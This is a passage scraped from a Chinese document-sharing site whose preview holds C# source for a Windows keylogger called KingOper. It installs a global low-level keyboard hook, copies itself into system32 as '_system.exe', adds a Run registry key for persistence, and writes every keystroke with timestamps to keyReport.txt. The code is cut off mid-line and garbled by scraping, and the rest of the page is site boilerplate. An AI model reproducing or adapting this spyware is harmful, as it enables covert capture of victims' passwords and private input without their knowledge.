全文预览已结束
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
HCode=C#/Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper public enum KeyboardEvents KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 StructLayout(LayoutKind.Sequential) public struct KeyboardHookStruct public int vkCode; /表示一个在1到254间的虚似键盘码 public int scanCode; /表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); public class Hook public event KeyboardEventHandler KeyboardEvent; public enum HookType WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); private IntPtr instance; private IntPtr hookHandle; private int threadID; private HookProc hookProcEx; public Hook() this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0); this.threadID = 0; hookHandle = IntPtr.Zero; hookProcEx = new HookProc(hookProc); public bool SetHook() this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return (int)hookHandle != 0); public IntPtr hookProc(int code, int wParam, IntPtr lParam) if(code = 0) KeyboardEvents kEvent = (KeyboardEvents)wParam; if (kEvent != KeyboardEvents.KeyDown & kEvent != KeyboardEvents.KeyUp & kEvent != KeyboardEvents.SystemKeyDown & kEvent != KeyboardEvents.SystemKeyUp) return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; KeyboardEvent(kEvent, keyData); return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); public bool UnHook() return Hook.UnhookWindowsHookEx(this.hookHandle); /RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper public class RegistryReport public RegistryReport() public void MoveFile() if(!File.Exists(c:windowssystem32_system.exe) File.Move(Application.ExecutablePath,c:windowssystem32_system.exe); else return; public void registryRun() RegistryKey key1=Registry.CurrentUser.CreateSubKey(SoftwareMicrosoftWindowsCurrentVersionrun); key1.SetValue(,c:windowssystem32_system.exe); key1.Close(); /Report.cs代码using System;using System.IO;namespace KingOper public class Report public Report() public void FirstWrite() StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(* LittleStudio Studio * ); sw.WriteLine(* + DateTime.Today.Year.ToString() + . + DateTime.Today.Month.ToString() + . + DateTime.Today.Day.ToString() + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString() + *); sw.Close(); public void WriteDate(string keyEvents,string keyDate) try StreamWriter sw = new StreamWriter(c:/keyReport.txt,true); sw.WriteLine(keyDate + 键 + keyEvents + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString(); sw.Close(); catch return; test_Load调用的实现private Hook MyHook=new Hook(); private Report MyReport=new Report(); private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e) MyRegistryReport=new RegistryReport(); this.MyRegistryReport.MoveFile(); this.MyRegistryReport.registryRun(); this.MyReport.FirstWrite(); this.MyHook.SetHook(); this.MyHook.KeyboardEvent += new KeyboardEventH
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 某化工企业安全培训细则
- 某水泥厂粉磨工艺制度
- 化工设计概论第四章设备的工艺设计与选型
- 围术期ICU患者高血压和心血管风险综合管理策略
- 初三数学二次函数与几何综合应用
- 《低空运行组织与保障》课件 第7章 低空运行基础设施保障
- 企业会计准则第4号固定资产
- 复旦有机课件13carboxylicacidderivativ
- 大融城开业系列推广活动策划方案
- 《上海自贸区有多好》课件
- 2026年工商联工作选调生试题及答案
- 水电站安全事故应急预案
- 肝病科工作制度
- 美容行业皮肤护理师专业水平绩效评定表
- 新能源汽车电气系统检修 课件 项目一新能源汽车电气系统的认知
- GB/T 36073-2025数据管理能力成熟度评估模型
- 2026甘肃公路交通建设集团校招面试题及答案
- 商务局遴选笔试真题及答案
- CNAS实验室内审员培训资料
- 护理部台账管理
- 水杨酸焕肤课件
评论
0/150
提交评论